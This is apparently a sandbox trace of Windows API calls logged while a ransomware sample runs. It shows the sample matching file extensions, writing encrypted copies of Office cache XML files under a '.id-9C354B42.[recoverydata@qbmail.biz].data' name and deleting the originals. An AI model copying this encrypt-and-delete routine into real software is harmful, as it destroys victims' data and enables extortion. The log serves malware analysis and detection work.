[0075.765] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.765] lstrlenW (lpString=".zip") returned 4 [0075.765] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.765] lstrlenW (lpString=".rar") returned 4 [0075.765] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.765] lstrlenW (lpString=".bz2") returned 4 [0075.765] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.765] lstrlenW (lpString=".7z") returned 3 [0075.765] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.765] lstrlenW (lpString=".dbf") returned 4 [0075.766] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.766] lstrlenW (lpString=".1cd") returned 4 [0075.766] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.766] lstrlenW (lpString=".jpg") returned 4 [0075.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.766] lstrlenW (lpString=".doc") returned 4 [0075.766] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.766] lstrlenW (lpString=".docx") returned 5 [0075.766] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0075.766] lstrlenW (lpString=".pdf") returned 4 [0075.766] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.766] lstrlenW (lpString=".xls") returned 4 [0075.766] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.766] lstrlenW (lpString=".xlsx") returned 5 [0075.767] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0075.767] lstrlenW (lpString=".ppt") returned 4 [0075.767] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.767] lstrlenW (lpString=".zip") returned 4 [0075.767] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.767] lstrlenW (lpString=".rar") returned 4 [0075.767] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.767] lstrlenW (lpString=".bz2") returned 4 [0075.767] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.767] lstrlenW (lpString=".7z") returned 3 [0075.767] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.767] lstrlenW (lpString=".dbf") returned 4 [0075.767] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.767] lstrlenW (lpString=".1cd") returned 4 [0075.767] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.768] lstrlenW (lpString=".jpg") returned 4 [0075.768] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.768] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0075.768] lstrlenW (lpString="WordMUI.xml") returned 11 [0075.768] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0075.769] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1800) returned 1 [0075.769] CloseHandle (hObject=0x1d8) returned 1 [0075.769] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0075.769] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.769] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0075.769] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.769] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.769] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0075.770] GetLastError () returned 0x0 [0075.770] ReadFile (in: hFile=0x1d8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x708, lpOverlapped=0x0) returned 1 [0075.799] WriteFile (in: hFile=0x1dc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x710, lpOverlapped=0x0) returned 1 [0075.800] ReadFile (in: hFile=0x1d8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0075.800] WriteFile (in: hFile=0x1dc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xea, lpOverlapped=0x0) returned 1 [0075.801] SetEndOfFile (hFile=0x1dc) returned 1 [0075.801] CloseHandle (hObject=0x1dc) returned 1 [0075.802] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.802] SetEndOfFile (hFile=0x1d8) returned 1 [0075.804] CloseHandle (hObject=0x1d8) returned 1 [0075.804] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0075.804] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0075.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0075.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0075.805] lstrlenW (lpString=".doc") returned 4 [0075.805] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.805] lstrlenW (lpString=".docx") returned 5 [0075.805] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0075.806] lstrlenW (lpString=".pdf") returned 4 [0075.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.806] lstrlenW (lpString=".xls") returned 4 [0075.806] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.806] lstrlenW (lpString=".xlsx") returned 5 [0075.806] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0075.806] lstrlenW (lpString=".ppt") returned 4 [0075.806] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0075.806] lstrlenW (lpString=".zip") returned 4 [0075.806] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.806] lstrlenW (lpString=".rar") returned 4 [0075.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.807] lstrlenW (lpString=".bz2") returned 4 [0075.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.807] lstrlenW (lpString=".7z") returned 3 [0075.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0075.807] lstrlenW (lpString=".dbf") returned 4 [0075.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0075.807] lstrlenW (lpString=".1cd") returned 4 [0076.277] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0076.277] lstrlenW (lpString=".jpg") returned 4 [0076.277] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0076.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0076.277] lstrlenW (lpString=".doc") returned 4 [0076.286] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.286] lstrlenW (lpString=".docx") returned 5 [0076.286] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0076.286] lstrlenW (lpString=".pdf") returned 4 [0076.286] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.286] lstrlenW (lpString=".xls") returned 4 [0076.286] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.286] lstrlenW (lpString=".xlsx") returned 5 [0076.286] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0076.286] lstrlenW (lpString=".ppt") returned 4 [0076.286] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0076.287] lstrlenW (lpString=".zip") returned 4 [0076.300] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.300] lstrlenW (lpString=".rar") returned 4 [0076.300] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.300] lstrlenW (lpString=".bz2") returned 4 [0076.300] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.301] lstrlenW (lpString=".7z") returned 3 [0076.301] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0076.301] lstrlenW (lpString=".dbf") returned 4 [0076.301] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0076.301] lstrlenW (lpString=".1cd") returned 4 [0076.301] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0076.301] lstrlenW (lpString=".jpg") returned 4 [0076.302] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.302] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0076.302] lstrlenW (lpString="Setup.xml") returned 9 [0076.302] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0076.303] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=2362) returned 1 [0076.303] CloseHandle (hObject=0x1d0) returned 1 [0076.303] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0076.303] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0076.303] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0076.303] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.304] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0076.304] GetLastError () returned 0x0 [0076.304] ReadFile (in: hFile=0x1d0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x93a, lpOverlapped=0x0) returned 1 [0076.306] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x940, lpOverlapped=0x0) returned 1 [0076.308] ReadFile (in: hFile=0x1d0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0076.308] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0076.308] SetEndOfFile (hFile=0x1d4) returned 1 [0076.309] CloseHandle (hObject=0x1d4) returned 1 [0076.315] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.315] SetEndOfFile (hFile=0x1d0) returned 1 [0076.316] CloseHandle (hObject=0x1d0) returned 1 [0076.317] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0076.317] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0076.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.318] lstrlenW (lpString=".doc") returned 4 [0076.318] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.318] lstrlenW (lpString=".docx") returned 5 [0076.318] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.318] lstrlenW (lpString=".pdf") returned 4 [0076.318] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.318] lstrlenW (lpString=".xls") returned 4 [0076.318] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.319] lstrlenW (lpString=".xlsx") returned 5 [0076.319] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.319] lstrlenW (lpString=".ppt") returned 4 [0076.319] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.319] lstrlenW (lpString=".zip") returned 4 [0076.319] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.319] lstrlenW (lpString=".rar") returned 4 [0076.319] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.319] lstrlenW (lpString=".bz2") returned 4 [0076.319] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.319] lstrlenW (lpString=".7z") returned 3 [0076.319] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.320] lstrlenW (lpString=".dbf") returned 4 [0076.320] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.320] lstrlenW (lpString=".1cd") returned 4 [0076.320] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.320] lstrlenW (lpString=".jpg") returned 4 [0076.320] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.320] lstrlenW (lpString=".doc") returned 4 [0076.321] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.321] lstrlenW (lpString=".docx") returned 5 [0076.321] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.321] lstrlenW (lpString=".pdf") returned 4 [0076.321] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.321] lstrlenW (lpString=".xls") returned 4 [0076.321] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.321] lstrlenW (lpString=".xlsx") returned 5 [0076.321] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.321] lstrlenW (lpString=".ppt") returned 4 [0076.321] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.321] lstrlenW (lpString=".zip") returned 4 [0076.322] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.322] lstrlenW (lpString=".rar") returned 4 [0076.322] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.322] lstrlenW (lpString=".bz2") returned 4 [0076.322] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.322] lstrlenW (lpString=".7z") returned 3 [0076.322] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.322] lstrlenW (lpString=".dbf") returned 4 [0076.323] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.323] lstrlenW (lpString=".1cd") returned 4 [0076.323] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.323] lstrlenW (lpString=".jpg") returned 4 [0076.323] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.323] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0076.323] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0076.323] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0076.325] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1231) returned 1 [0076.325] CloseHandle (hObject=0x1d0) returned 1 [0076.325] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0076.325] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0076.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0076.325] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.326] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.326] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0076.569] GetLastError () returned 0x0 [0076.569] ReadFile (in: hFile=0x1d0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x4cf, lpOverlapped=0x0) returned 1 [0076.571] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0076.937] ReadFile (in: hFile=0x1d0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0076.937] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0076.938] SetEndOfFile (hFile=0x1b8) returned 1 [0076.938] CloseHandle (hObject=0x1b8) returned 1 [0076.962] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.962] SetEndOfFile (hFile=0x1d0) returned 1 [0076.963] CloseHandle (hObject=0x1d0) returned 1 [0076.963] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0076.964] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0076.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.996] lstrlenW (lpString=".doc") returned 4 [0076.996] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.996] lstrlenW (lpString=".docx") returned 5 [0076.996] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0076.996] lstrlenW (lpString=".pdf") returned 4 